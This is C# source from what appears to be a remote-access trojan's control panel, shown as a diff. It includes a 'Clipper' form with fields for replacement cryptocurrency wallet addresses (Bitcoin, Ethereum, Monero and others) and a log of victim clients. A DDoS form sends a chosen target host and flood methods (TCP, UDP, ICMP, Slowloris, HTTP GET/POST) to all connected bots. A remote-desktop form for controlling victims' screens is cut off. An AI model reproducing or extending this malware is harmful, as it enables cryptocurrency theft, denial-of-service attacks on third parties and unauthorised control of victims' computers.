this.rjTextBox9.PlaceholderText = "dash";
this.rjTextBox9.Size = new System.Drawing.Size(246, 28);
this.rjTextBox9.TabIndex = 56;
this.rjTextBox9.Texts = "";
this.rjTextBox9.UnderlinedStyle = false;
this.rjTextBox7.BackColor = System.Drawing.Color.White;
this.rjTextBox7.BorderColor = System.Drawing.Color.MediumPurple;
this.rjTextBox7.BorderFocusColor = System.Drawing.Color.Yellow;
this.rjTextBox7.BorderRadius = 0;
this.rjTextBox7.BorderSize = 1;
this.rjTextBox7.Font = new System.Drawing.Font("Microsoft Sans Serif", 8f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 0);
this.rjTextBox7.ForeColor = System.Drawing.Color.MediumPurple;
this.rjTextBox7.Location = new System.Drawing.Point(525, 49);
this.rjTextBox7.Margin = new System.Windows.Forms.Padding(4);
this.rjTextBox7.Multiline = false;
this.rjTextBox7.Name = "rjTextBox7";
this.rjTextBox7.Padding = new System.Windows.Forms.Padding(10, 7, 10, 7);
this.rjTextBox7.PasswordChar = false;
this.rjTextBox7.PlaceholderColor = System.Drawing.Color.DarkGray;
this.rjTextBox7.PlaceholderText = "doge";
this.rjTextBox7.Size = new System.Drawing.Size(246, 28);
this.rjTextBox7.TabIndex = 55;
this.rjTextBox7.Texts = "";
this.rjTextBox7.UnderlinedStyle = false;
this.rjTextBox8.BackColor = System.Drawing.Color.White;
this.rjTextBox8.BorderColor = System.Drawing.Color.MediumPurple;
this.rjTextBox8.BorderFocusColor = System.Drawing.Color.Yellow;
this.rjTextBox8.BorderRadius = 0;
this.rjTextBox8.BorderSize = 1;
this.rjTextBox8.Font = new System.Drawing.Font("Microsoft Sans Serif", 8f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 0);
this.rjTextBox8.ForeColor = System.Drawing.Color.MediumPurple;
this.rjTextBox8.Location = new System.Drawing.Point(525, 13);
this.rjTextBox8.Margin = new System.Windows.Forms.Padding(4);
this.rjTextBox8.Multiline = false;
this.rjTextBox8.Name = "rjTextBox8";
this.rjTextBox8.Padding = new System.Windows.Forms.Padding(10, 7, 10, 7);
this.rjTextBox8.PasswordChar = false;
this.rjTextBox8.PlaceholderColor = System.Drawing.Color.DarkGray;
this.rjTextBox8.PlaceholderText = "zcash";
this.rjTextBox8.Size = new System.Drawing.Size(246, 28);
this.rjTextBox8.TabIndex = 54;
this.rjTextBox8.Texts = "";
this.rjTextBox8.UnderlinedStyle = false;
this.rjTextBox5.BackColor = System.Drawing.Color.White;
this.rjTextBox5.BorderColor = System.Drawing.Color.MediumPurple;
this.rjTextBox5.BorderFocusColor = System.Drawing.Color.Yellow;
this.rjTextBox5.BorderRadius = 0;
this.rjTextBox5.BorderSize = 1;
this.rjTextBox5.Font = new System.Drawing.Font("Microsoft Sans Serif", 8f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 0);
this.rjTextBox5.ForeColor = System.Drawing.Color.MediumPurple;
this.rjTextBox5.Location = new System.Drawing.Point(271, 85);
this.rjTextBox5.Margin = new System.Windows.Forms.Padding(4);
this.rjTextBox5.Multiline = false;
this.rjTextBox5.Name = "rjTextBox5";
this.rjTextBox5.Padding = new System.Windows.Forms.Padding(10, 7, 10, 7);
this.rjTextBox5.PasswordChar = false;
this.rjTextBox5.PlaceholderColor = System.Drawing.Color.DarkGray;
this.rjTextBox5.PlaceholderText = "monero";
this.rjTextBox5.Size = new System.Drawing.Size(246, 28);
this.rjTextBox5.TabIndex = 53;
this.rjTextBox5.Texts = "";
this.rjTextBox5.UnderlinedStyle = false;
this.rjTextBox6.BackColor = System.Drawing.Color.White;
this.rjTextBox6.BorderColor = System.Drawing.Color.MediumPurple;
this.rjTextBox6.BorderFocusColor = System.Drawing.Color.Yellow;
this.rjTextBox6.BorderRadius = 0;
this.rjTextBox6.BorderSize = 1;
this.rjTextBox6.Font = new System.Drawing.Font("Microsoft Sans Serif", 8f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 0);
this.rjTextBox6.ForeColor = System.Drawing.Color.MediumPurple;
this.rjTextBox6.Location = new System.Drawing.Point(17, 85);
this.rjTextBox6.Margin = new System.Windows.Forms.Padding(4);
this.rjTextBox6.Multiline = false;
this.rjTextBox6.Name = "rjTextBox6";
this.rjTextBox6.Padding = new System.Windows.Forms.Padding(10, 7, 10, 7);
this.rjTextBox6.PasswordChar = false;
this.rjTextBox6.PlaceholderColor = System.Drawing.Color.DarkGray;
this.rjTextBox6.PlaceholderText = "Bitcoin Cash";
this.rjTextBox6.Size = new System.Drawing.Size(246, 28);
this.rjTextBox6.TabIndex = 52;
this.rjTextBox6.Texts = "";
this.rjTextBox6.UnderlinedStyle = false;
this.rjTextBox3.BackColor = System.Drawing.Color.White;
this.rjTextBox3.BorderColor = System.Drawing.Color.MediumPurple;
this.rjTextBox3.BorderFocusColor = System.Drawing.Color.Yellow;
this.rjTextBox3.BorderRadius = 0;
this.rjTextBox3.BorderSize = 1;
this.rjTextBox3.Font = new System.Drawing.Font("Microsoft Sans Serif", 8f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 0);
this.rjTextBox3.ForeColor = System.Drawing.Color.MediumPurple;
this.rjTextBox3.Location = new System.Drawing.Point(271, 49);
this.rjTextBox3.Margin = new System.Windows.Forms.Padding(4);
this.rjTextBox3.Multiline = false;
this.rjTextBox3.Name = "rjTextBox3";
this.rjTextBox3.Padding = new System.Windows.Forms.Padding(10, 7, 10, 7);
this.rjTextBox3.PasswordChar = false;
this.rjTextBox3.PlaceholderColor = System.Drawing.Color.DarkGray;
this.rjTextBox3.PlaceholderText = "Litecoin";
this.rjTextBox3.Size = new System.Drawing.Size(246, 28);
this.rjTextBox3.TabIndex = 51;
this.rjTextBox3.Texts = "";
this.rjTextBox3.UnderlinedStyle = false;
this.rjTextBox4.BackColor = System.Drawing.Color.White;
this.rjTextBox4.BorderColor = System.Drawing.Color.MediumPurple;
this.rjTextBox4.BorderFocusColor = System.Drawing.Color.Yellow;
this.rjTextBox4.BorderRadius = 0;
this.rjTextBox4.BorderSize = 1;
this.rjTextBox4.Font = new System.Drawing.Font("Microsoft Sans Serif", 8f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 0);
this.rjTextBox4.ForeColor = System.Drawing.Color.MediumPurple;
this.rjTextBox4.Location = new System.Drawing.Point(17, 49);
this.rjTextBox4.Margin = new System.Windows.Forms.Padding(4);
this.rjTextBox4.Multiline = false;
this.rjTextBox4.Name = "rjTextBox4";
this.rjTextBox4.Padding = new System.Windows.Forms.Padding(10, 7, 10, 7);
this.rjTextBox4.PasswordChar = false;
this.rjTextBox4.PlaceholderColor = System.Drawing.Color.DarkGray;
this.rjTextBox4.PlaceholderText = "Stellar";
this.rjTextBox4.Size = new System.Drawing.Size(246, 28);
this.rjTextBox4.TabIndex = 50;
this.rjTextBox4.Texts = "";
this.rjTextBox4.UnderlinedStyle = false;
this.rjTextBox1.BackColor = System.Drawing.Color.White;
this.rjTextBox1.BorderColor = System.Drawing.Color.MediumPurple;
this.rjTextBox1.BorderFocusColor = System.Drawing.Color.Yellow;
this.rjTextBox1.BorderRadius = 0;
this.rjTextBox1.BorderSize = 1;
this.rjTextBox1.Font = new System.Drawing.Font("Microsoft Sans Serif", 8f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 0);
this.rjTextBox1.ForeColor = System.Drawing.Color.MediumPurple;
this.rjTextBox1.Location = new System.Drawing.Point(271, 13);
this.rjTextBox1.Margin = new System.Windows.Forms.Padding(4);
this.rjTextBox1.Multiline = false;
this.rjTextBox1.Name = "rjTextBox1";
this.rjTextBox1.Padding = new System.Windows.Forms.Padding(10, 7, 10, 7);
this.rjTextBox1.PasswordChar = false;
this.rjTextBox1.PlaceholderColor = System.Drawing.Color.DarkGray;
this.rjTextBox1.PlaceholderText = "Eth";
this.rjTextBox1.Size = new System.Drawing.Size(246, 28);
this.rjTextBox1.TabIndex = 49;
this.rjTextBox1.Texts = "";
this.rjTextBox1.UnderlinedStyle = false;
this.rjTextBox2.BackColor = System.Drawing.Color.White;
this.rjTextBox2.BorderColor = System.Drawing.Color.MediumPurple;
this.rjTextBox2.BorderFocusColor = System.Drawing.Color.Yellow;
this.rjTextBox2.BorderRadius = 0;
this.rjTextBox2.BorderSize = 1;
this.rjTextBox2.Font = new System.Drawing.Font("Microsoft Sans Serif", 8f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 0);
this.rjTextBox2.ForeColor = System.Drawing.Color.MediumPurple;
this.rjTextBox2.Location = new System.Drawing.Point(17, 13);
this.rjTextBox2.Margin = new System.Windows.Forms.Padding(4);
this.rjTextBox2.Multiline = false;
this.rjTextBox2.Name = "rjTextBox2";
this.rjTextBox2.Padding = new System.Windows.Forms.Padding(10, 7, 10, 7);
this.rjTextBox2.PasswordChar = false;
this.rjTextBox2.PlaceholderColor = System.Drawing.Color.DarkGray;
this.rjTextBox2.PlaceholderText = "Btc";
this.rjTextBox2.Size = new System.Drawing.Size(246, 28);
this.rjTextBox2.TabIndex = 48;
this.rjTextBox2.Texts = "";
this.rjTextBox2.UnderlinedStyle = false;
this.GridLog.AllowUserToAddRows = false;
this.GridLog.AllowUserToDeleteRows = false;
this.GridLog.AllowUserToResizeColumns = false;
this.GridLog.AllowUserToResizeRows = false;
this.GridLog.BackgroundColor = System.Drawing.Color.White;
this.GridLog.BorderStyle = System.Windows.Forms.BorderStyle.None;
this.GridLog.CellBorderStyle = System.Windows.Forms.DataGridViewCellBorderStyle.None;
this.GridLog.ColumnHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None;
dataGridViewCellStyle4.Alignment = System.Windows.Forms.DataGridViewContentAlignment.TopLeft;
dataGridViewCellStyle4.BackColor = System.Drawing.Color.White;
dataGridViewCellStyle4.Font = new System.Drawing.Font("Arial", 9f);
dataGridViewCellStyle4.ForeColor = System.Drawing.Color.Purple;
dataGridViewCellStyle4.SelectionBackColor = System.Drawing.Color.White;
dataGridViewCellStyle4.SelectionForeColor = System.Drawing.Color.Purple;
dataGridViewCellStyle4.WrapMode = System.Windows.Forms.DataGridViewTriState.True;
this.GridLog.ColumnHeadersDefaultCellStyle = dataGridViewCellStyle4;
this.GridLog.ColumnHeadersHeightSizeMode = System.Windows.Forms.DataGridViewColumnHeadersHeightSizeMode.AutoSize;
this.GridLog.Columns.AddRange(this.ColumnClient, this.ColumnType, this.ColumnAddress);
this.GridLog.Cursor = System.Windows.Forms.Cursors.Default;
dataGridViewCellStyle5.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;
dataGridViewCellStyle5.BackColor = System.Drawing.Color.White;
dataGridViewCellStyle5.Font = new System.Drawing.Font("Arial", 9f);
dataGridViewCellStyle5.ForeColor = System.Drawing.Color.Purple;
dataGridViewCellStyle5.SelectionBackColor = System.Drawing.Color.Purple;
dataGridViewCellStyle5.SelectionForeColor = System.Drawing.Color.White;
dataGridViewCellStyle5.WrapMode = System.Windows.Forms.DataGridViewTriState.False;
this.GridLog.DefaultCellStyle = dataGridViewCellStyle5;
this.GridLog.Dock = System.Windows.Forms.DockStyle.Fill;
this.GridLog.EnableHeadersVisualStyles = false;
this.GridLog.GridColor = System.Drawing.Color.MediumPurple;
this.GridLog.Location = new System.Drawing.Point(3, 230);
this.GridLog.Name = "GridLog";
this.GridLog.ReadOnly = true;
this.GridLog.RowHeadersBorderStyle = System.Windows.Forms.DataGridViewHeaderBorderStyle.None;
dataGridViewCellStyle6.Alignment = System.Windows.Forms.DataGridViewContentAlignment.MiddleLeft;
dataGridViewCellStyle6.BackColor = System.Drawing.Color.FromArgb(17, 17, 17);
dataGridViewCellStyle6.Font = new System.Drawing.Font("Microsoft Sans Serif", 8.25f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 204);
dataGridViewCellStyle6.ForeColor = System.Drawing.Color.FromArgb(0, 192, 0);
dataGridViewCellStyle6.Padding = new System.Windows.Forms.Padding(1, 0, 0, 0);
dataGridViewCellStyle6.SelectionBackColor = System.Drawing.Color.FromArgb(0, 192, 0);
dataGridViewCellStyle6.SelectionForeColor = System.Drawing.Color.FromArgb(17, 17, 17);
dataGridViewCellStyle6.WrapMode = System.Windows.Forms.DataGridViewTriState.True;
this.GridLog.RowHeadersDefaultCellStyle = dataGridViewCellStyle6;
this.GridLog.RowHeadersVisible = false;
this.GridLog.SelectionMode = System.Windows.Forms.DataGridViewSelectionMode.FullRowSelect;
this.GridLog.ShowCellErrors = false;
this.GridLog.ShowCellToolTips = false;
this.GridLog.ShowEditingIcon = false;
this.GridLog.ShowRowErrors = false;
this.GridLog.Size = new System.Drawing.Size(801, 359);
this.GridLog.TabIndex = 34;
this.ColumnClient.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.AllCells;
this.ColumnClient.HeaderText = "Client";
this.ColumnClient.MinimumWidth = 150;
this.ColumnClient.Name = "ColumnClient";
this.ColumnClient.ReadOnly = true;
this.ColumnClient.Width = 150;
this.ColumnType.HeaderText = "Type";
this.ColumnType.Name = "ColumnType";
this.ColumnType.ReadOnly = true;
this.ColumnAddress.AutoSizeMode = System.Windows.Forms.DataGridViewAutoSizeColumnMode.Fill;
this.ColumnAddress.HeaderText = "Address";
this.ColumnAddress.Name = "ColumnAddress";
this.ColumnAddress.ReadOnly = true;
this.timer1.Interval = 1000;
this.timer1.Tick += new System.EventHandler(timer1_Tick);
base.AutoScaleDimensions = new System.Drawing.SizeF(6f, 13f);
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.BackColor = System.Drawing.Color.White;
base.ClientSize = new System.Drawing.Size(807, 592);
base.Controls.Add(this.GridLog);
base.Controls.Add(this.GridClients);
base.Controls.Add(this.panel1);
base.Name = "FormClipper";
this.Text = "Clipper Online [0]";
base.Load += new System.EventHandler(FormProcess_Load);
((System.ComponentModel.ISupportInitialize)this.GridClients).EndInit();
this.panel1.ResumeLayout(false);
this.panel1.PerformLayout();
((System.ComponentModel.ISupportInitialize)this.GridLog).EndInit();
base.ResumeLayout(false);
}
}
+411
View File
@@ -0,0 +1,411 @@
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Drawing;
using System.Threading.Tasks;
using System.Windows.Forms;
using CustomControls.RJControls;
using MaterialSkin;
using MaterialSkin.Controls;
using Server.Connectings;
using Server.Helper;
namespace Server.Forms;
public class FormDDos : FormMaterial
{
public bool work;
public List<Clients> clients = new List<Clients>();
private IContainer components;
private Timer timer1;
private Panel panel1;
private RJButton rjButton1;
public MaterialSwitch materialSwitch7;
public RJTextBox rjTextBox1;
private Panel panel2;
private CheckBox checkBox2;
private CheckBox checkBox1;
private CheckBox checkBox3;
private CheckBox checkBox8;
private CheckBox checkBox7;
private CheckBox checkBox6;
private CheckBox checkBox5;
private CheckBox checkBox9;
private CheckBox checkBox10;
private CheckBox checkBox11;
private Label label3;
private Label label2;
private Label label1;
public NumericUpDown numericUpDown2;
private CheckBox checkBox12;
private CheckBox checkBox13;
private CheckBox checkBox14;
public FormDDos()
{
InitializeComponent();
base.FormClosing += Closing1;
}
private void FormProcess_Load(object sender, EventArgs e)
{
MaterialSkinManager.Instance.ThemeChanged += ChangeScheme;
ChangeScheme(this);
timer1.Start();
}
private void Closing1(object sender, FormClosingEventArgs e)
{
work = false;
Clients[] array = clients.ToArray();
foreach (Clients client in array)
{
Task.Run(delegate
{
client.Disconnect();
});
}
Hide();
e.Cancel = true;
materialSwitch7.Checked = false;
}
private void timer1_Tick(object sender, EventArgs e)
{
Text = $"DDos Online [{clients.Count}]";
}
private void ChangeScheme(object sender)
{
rjTextBox1.BorderColor = FormMaterial.PrimaryColor;
rjButton1.BorderColor = FormMaterial.PrimaryColor;
rjButton1.ForeColor = FormMaterial.PrimaryColor;
numericUpDown2.ForeColor = FormMaterial.PrimaryColor;
}
private void materialSwitch7_CheckedChanged(object sender, EventArgs e)
{
if (string.IsNullOrEmpty(rjTextBox1.Texts))
{
return;
}
if (materialSwitch7.Checked)
{
List<object> list = new List<object>
{
"Start",
rjTextBox1.Texts,
(int)numericUpDown2.Value
};
foreach (Control control in panel2.Controls)
{
if (control is CheckBox)
{
CheckBox checkBox = (CheckBox)control;
if (checkBox.Checked)
{
list.Add(checkBox.Text.Replace(" ", ""));
}
}
}
Clients[] array = clients.ToArray();
for (int i = 0; i < array.Length; i++)
{
array[i].Send(list.ToArray());
}
}
else
{
Clients[] array = clients.ToArray();
for (int i = 0; i < array.Length; i++)
{
array[i].Send(new object[1] { "Stop" });
}
}
}
private void rjButton1_Click(object sender, EventArgs e)
{
Hide();
}
protected override void Dispose(bool disposing)
{
if (disposing && components != null)
{
components.Dispose();
}
base.Dispose(disposing);
}
private void InitializeComponent()
{
this.components = new System.ComponentModel.Container();
this.timer1 = new System.Windows.Forms.Timer(this.components);
this.panel1 = new System.Windows.Forms.Panel();
this.panel2 = new System.Windows.Forms.Panel();
this.checkBox14 = new System.Windows.Forms.CheckBox();
this.checkBox13 = new System.Windows.Forms.CheckBox();
this.checkBox12 = new System.Windows.Forms.CheckBox();
this.numericUpDown2 = new System.Windows.Forms.NumericUpDown();
this.label3 = new System.Windows.Forms.Label();
this.label2 = new System.Windows.Forms.Label();
this.label1 = new System.Windows.Forms.Label();
this.checkBox11 = new System.Windows.Forms.CheckBox();
this.checkBox10 = new System.Windows.Forms.CheckBox();
this.checkBox9 = new System.Windows.Forms.CheckBox();
this.checkBox8 = new System.Windows.Forms.CheckBox();
this.checkBox7 = new System.Windows.Forms.CheckBox();
this.checkBox6 = new System.Windows.Forms.CheckBox();
this.checkBox5 = new System.Windows.Forms.CheckBox();
this.checkBox3 = new System.Windows.Forms.CheckBox();
this.checkBox1 = new System.Windows.Forms.CheckBox();
this.checkBox2 = new System.Windows.Forms.CheckBox();
this.rjButton1 = new CustomControls.RJControls.RJButton();
this.materialSwitch7 = new MaterialSkin.Controls.MaterialSwitch();
this.rjTextBox1 = new CustomControls.RJControls.RJTextBox();
this.panel1.SuspendLayout();
this.panel2.SuspendLayout();
((System.ComponentModel.ISupportInitialize)this.numericUpDown2).BeginInit();
base.SuspendLayout();
this.timer1.Interval = 1000;
this.timer1.Tick += new System.EventHandler(timer1_Tick);
this.panel1.Controls.Add(this.panel2);
this.panel1.Controls.Add(this.rjButton1);
this.panel1.Controls.Add(this.materialSwitch7);
this.panel1.Controls.Add(this.rjTextBox1);
this.panel1.Dock = System.Windows.Forms.DockStyle.Fill;
this.panel1.Location = new System.Drawing.Point(3, 64);
this.panel1.Name = "panel1";
this.panel1.Size = new System.Drawing.Size(459, 255);
this.panel1.TabIndex = 0;
this.panel2.Controls.Add(this.checkBox14);
this.panel2.Controls.Add(this.checkBox13);
this.panel2.Controls.Add(this.checkBox12);
this.panel2.Controls.Add(this.numericUpDown2);
this.panel2.Controls.Add(this.label3);
this.panel2.Controls.Add(this.label2);
this.panel2.Controls.Add(this.label1);
this.panel2.Controls.Add(this.checkBox11);
this.panel2.Controls.Add(this.checkBox10);
this.panel2.Controls.Add(this.checkBox9);
this.panel2.Controls.Add(this.checkBox8);
this.panel2.Controls.Add(this.checkBox7);
this.panel2.Controls.Add(this.checkBox6);
this.panel2.Controls.Add(this.checkBox5);
this.panel2.Controls.Add(this.checkBox3);
this.panel2.Controls.Add(this.checkBox1);
this.panel2.Controls.Add(this.checkBox2);
this.panel2.Location = new System.Drawing.Point(14, 50);
this.panel2.Name = "panel2";
this.panel2.Size = new System.Drawing.Size(436, 190);
this.panel2.TabIndex = 14;
this.checkBox14.AutoSize = true;
this.checkBox14.Location = new System.Drawing.Point(330, 144);
this.checkBox14.Name = "checkBox14";
this.checkBox14.Size = new System.Drawing.Size(72, 17);
this.checkBox14.TabIndex = 23;
this.checkBox14.Text = "Get Flood";
this.checkBox14.UseVisualStyleBackColor = true;
this.checkBox13.AutoSize = true;
this.checkBox13.Location = new System.Drawing.Point(330, 121);
this.checkBox13.Name = "checkBox13";
this.checkBox13.Size = new System.Drawing.Size(86, 17);
this.checkBox13.TabIndex = 22;
this.checkBox13.Text = "Get Scanner";
this.checkBox13.UseVisualStyleBackColor = true;
this.checkBox12.AutoSize = true;
this.checkBox12.Location = new System.Drawing.Point(330, 98);
this.checkBox12.Name = "checkBox12";
this.checkBox12.Size = new System.Drawing.Size(90, 17);
this.checkBox12.TabIndex = 21;
this.checkBox12.Text = "Post Scanner";
this.checkBox12.UseVisualStyleBackColor = true;
this.numericUpDown2.BackColor = System.Drawing.Color.White;
this.numericUpDown2.BorderStyle = System.Windows.Forms.BorderStyle.FixedSingle;
this.numericUpDown2.ForeColor = System.Drawing.Color.FromArgb(192, 0, 192);
this.numericUpDown2.Location = new System.Drawing.Point(14, 151);
this.numericUpDown2.Margin = new System.Windows.Forms.Padding(2);
this.numericUpDown2.Name = "numericUpDown2";
this.numericUpDown2.Size = new System.Drawing.Size(42, 20);
this.numericUpDown2.TabIndex = 20;
this.numericUpDown2.TextAlign = System.Windows.Forms.HorizontalAlignment.Center;
this.numericUpDown2.UpDownAlign = System.Windows.Forms.LeftRightAlignment.Left;
this.numericUpDown2.Value = new decimal(new int[4] { 5, 0, 0, 0 });
this.label3.AutoSize = true;
this.label3.Location = new System.Drawing.Point(341, 10);
this.label3.Name = "label3";
this.label3.Size = new System.Drawing.Size(42, 13);
this.label3.TabIndex = 16;
this.label3.Text = "Layer 7";
this.label2.AutoSize = true;
this.label2.Location = new System.Drawing.Point(22, 10);
this.label2.Name = "label2";
this.label2.Size = new System.Drawing.Size(42, 13);
this.label2.TabIndex = 15;
this.label2.Text = "Layer 4";
this.label1.AutoSize = true;
this.label1.Location = new System.Drawing.Point(188, 10);
this.label1.Name = "label1";
this.label1.Size = new System.Drawing.Size(42, 13);
this.label1.TabIndex = 14;
this.label1.Text = "Layer 3";
this.checkBox11.AutoSize = true;
this.checkBox11.Location = new System.Drawing.Point(14, 118);
this.checkBox11.Name = "checkBox11";
this.checkBox11.Size = new System.Drawing.Size(75, 17);
this.checkBox11.TabIndex = 13;
this.checkBox11.Text = "Udp Flood";
this.checkBox11.UseVisualStyleBackColor = true;
this.checkBox10.AutoSize = true;
this.checkBox10.Location = new System.Drawing.Point(14, 96);
this.checkBox10.Name = "checkBox10";
this.checkBox10.Size = new System.Drawing.Size(78, 17);
this.checkBox10.TabIndex = 12;
this.checkBox10.Text = "Icmp Flood";
this.checkBox10.UseVisualStyleBackColor = true;
this.checkBox9.AutoSize = true;
this.checkBox9.Location = new System.Drawing.Point(330, 75);
this.checkBox9.Name = "checkBox9";
this.checkBox9.Size = new System.Drawing.Size(103, 17);
this.checkBox9.TabIndex = 11;
this.checkBox9.Text = "Slow Loris Flood";
this.checkBox9.UseVisualStyleBackColor = true;
this.checkBox8.AutoSize = true;
this.checkBox8.Location = new System.Drawing.Point(330, 52);
this.checkBox8.Name = "checkBox8";
this.checkBox8.Size = new System.Drawing.Size(73, 17);
this.checkBox8.TabIndex = 10;
this.checkBox8.Text = "Pps Flood";
this.checkBox8.UseVisualStyleBackColor = true;
this.checkBox7.AutoSize = true;
this.checkBox7.Location = new System.Drawing.Point(330, 29);
this.checkBox7.Name = "checkBox7";
this.checkBox7.Size = new System.Drawing.Size(67, 17);
this.checkBox7.TabIndex = 9;
this.checkBox7.Text = "Null Http";
this.checkBox7.UseVisualStyleBackColor = true;
this.checkBox6.AutoSize = true;
this.checkBox6.Location = new System.Drawing.Point(181, 52);
this.checkBox6.Name = "checkBox6";
this.checkBox6.Size = new System.Drawing.Size(77, 17);
this.checkBox6.TabIndex = 8;
this.checkBox6.Text = "IPv6 Flood";
this.checkBox6.UseVisualStyleBackColor = true;
this.checkBox5.AutoSize = true;
this.checkBox5.Location = new System.Drawing.Point(181, 29);
this.checkBox5.Name = "checkBox5";
this.checkBox5.Size = new System.Drawing.Size(77, 17);
this.checkBox5.TabIndex = 7;
this.checkBox5.Text = "IPv4 Flood";
this.checkBox5.UseVisualStyleBackColor = true;
this.checkBox3.AutoSize = true;
this.checkBox3.Location = new System.Drawing.Point(14, 72);
this.checkBox3.Name = "checkBox3";
this.checkBox3.Size = new System.Drawing.Size(117, 17);
this.checkBox3.TabIndex = 5;
this.checkBox3.Text = "Tcp Connect Flood";
this.checkBox3.UseVisualStyleBackColor = true;
this.checkBox1.AutoSize = true;
this.checkBox1.Location = new System.Drawing.Point(14, 49);
this.checkBox1.Name = "checkBox1";
this.checkBox1.Size = new System.Drawing.Size(142, 17);
this.checkBox1.TabIndex = 4;
this.checkBox1.Text = "Tcp Connect Wait Flood";
this.checkBox1.UseVisualStyleBackColor = true;
this.checkBox2.AutoSize = true;
this.checkBox2.Location = new System.Drawing.Point(14, 26);
this.checkBox2.Name = "checkBox2";
this.checkBox2.Size = new System.Drawing.Size(74, 17);
this.checkBox2.TabIndex = 3;
this.checkBox2.Text = "Tcp Flood";
this.checkBox2.UseVisualStyleBackColor = true;
this.rjButton1.BackColor = System.Drawing.Color.White;
this.rjButton1.BackgroundColor = System.Drawing.Color.White;
this.rjButton1.BorderColor = System.Drawing.Color.MediumSlateBlue;
this.rjButton1.BorderRadius = 0;
this.rjButton1.BorderSize = 1;
this.rjButton1.FlatAppearance.BorderSize = 0;
this.rjButton1.FlatStyle = System.Windows.Forms.FlatStyle.Flat;
this.rjButton1.ForeColor = System.Drawing.Color.MediumSlateBlue;
this.rjButton1.Location = new System.Drawing.Point(263, 16);
this.rjButton1.Name = "rjButton1";
this.rjButton1.Size = new System.Drawing.Size(92, 28);
this.rjButton1.TabIndex = 13;
this.rjButton1.Text = "Hide";
this.rjButton1.TextColor = System.Drawing.Color.MediumSlateBlue;
this.rjButton1.UseVisualStyleBackColor = false;
this.rjButton1.Click += new System.EventHandler(rjButton1_Click);
this.materialSwitch7.AutoSize = true;
this.materialSwitch7.Depth = 0;
this.materialSwitch7.Location = new System.Drawing.Point(358, 13);
this.materialSwitch7.Margin = new System.Windows.Forms.Padding(0);
this.materialSwitch7.MouseLocation = new System.Drawing.Point(-1, -1);
this.materialSwitch7.MouseState = MaterialSkin.MouseState.HOVER;
this.materialSwitch7.Name = "materialSwitch7";
this.materialSwitch7.Ripple = true;
this.materialSwitch7.Size = new System.Drawing.Size(92, 37);
this.materialSwitch7.TabIndex = 12;
this.materialSwitch7.Text = "Start";
this.materialSwitch7.UseVisualStyleBackColor = true;
this.materialSwitch7.CheckedChanged += new System.EventHandler(materialSwitch7_CheckedChanged);
this.rjTextBox1.BackColor = System.Drawing.Color.White;
this.rjTextBox1.BorderColor = System.Drawing.Color.MediumSlateBlue;
this.rjTextBox1.BorderFocusColor = System.Drawing.Color.Yellow;
this.rjTextBox1.BorderRadius = 0;
this.rjTextBox1.BorderSize = 1;
this.rjTextBox1.Font = new System.Drawing.Font("Microsoft Sans Serif", 8f, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, 0);
this.rjTextBox1.ForeColor = System.Drawing.Color.MediumSlateBlue;
this.rjTextBox1.Location = new System.Drawing.Point(14, 16);
this.rjTextBox1.Margin = new System.Windows.Forms.Padding(4);
this.rjTextBox1.Multiline = false;
this.rjTextBox1.Name = "rjTextBox1";
this.rjTextBox1.Padding = new System.Windows.Forms.Padding(10, 7, 10, 7);
this.rjTextBox1.PasswordChar = false;
this.rjTextBox1.PlaceholderColor = System.Drawing.Color.DarkGray;
this.rjTextBox1.PlaceholderText = "Host";
this.rjTextBox1.Size = new System.Drawing.Size(242, 28);
this.rjTextBox1.TabIndex = 11;
this.rjTextBox1.Texts = "";
this.rjTextBox1.UnderlinedStyle = false;
base.AutoScaleDimensions = new System.Drawing.SizeF(6f, 13f);
base.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.BackColor = System.Drawing.Color.White;
base.ClientSize = new System.Drawing.Size(465, 322);
base.Controls.Add(this.panel1);
base.Name = "FormDDos";
this.Text = "DDos Online [0]";
base.Load += new System.EventHandler(FormProcess_Load);
this.panel1.ResumeLayout(false);
this.panel1.PerformLayout();
this.panel2.ResumeLayout(false);
this.panel2.PerformLayout();
((System.ComponentModel.ISupportInitialize)this.numericUpDown2).EndInit();
base.ResumeLayout(false);
}
}
+389
View File
@@ -0,0 +1,389 @@
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Diagnostics;
using System.Drawing;
using System.Windows.Forms;
using MaterialSkin;
using MaterialSkin.Controls;
using Server.Connectings;
using Server.Helper;
namespace Server.Forms;
public class FormDesktop : FormMaterial
{
public int FPS;
public Stopwatch sw = Stopwatch.StartNew();
private List<Keys> _keysPressed = new List<Keys>();
public Size screen;
public Clients client;
public Clients parrent;
private Point point2 = new Point(0, 0);
private const int threshold = 15;
private IContainer components;
public NumericUpDown numericUpDown2;
public MaterialSwitch materialSwitch1;
public MaterialSwitch materialSwitch2;
public MaterialSwitch materialSwitch3;
public MaterialSwitch materialSwitch4;
public PictureBox pictureBox1;
private Panel panel1;
public Timer timer1;
public FormDesktop()
{
InitializeComponent();
base.FormClosing += Closing1;
}
private void FormDesktop_Load(object sender, EventArgs e)
{
MaterialSkinManager.Instance.ThemeChanged += ChangeScheme;
ChangeScheme(this);
timer1.Start();
pictureBox1.MouseMove += pictureBox1_MouseMove;
pictureBox1.MouseDown += pictureBox1_MouseDown;
pictureBox1.MouseUp += pictureBox1_MouseUp;
pictureBox1.MouseWheel += PictureBox_MouseWheel;
base.KeyPreview = true;
pictureBox1.Focus();
base.KeyDown += FormRemoteDesktop_KeyDown;
base.KeyUp += FormRemoteDesktop_KeyUp;
}
private void ChangeScheme(object sender)
{
numericUpDown2.ForeColor = FormMaterial.PrimaryColor;
}
private void Closing1(object sender, EventArgs e)
{
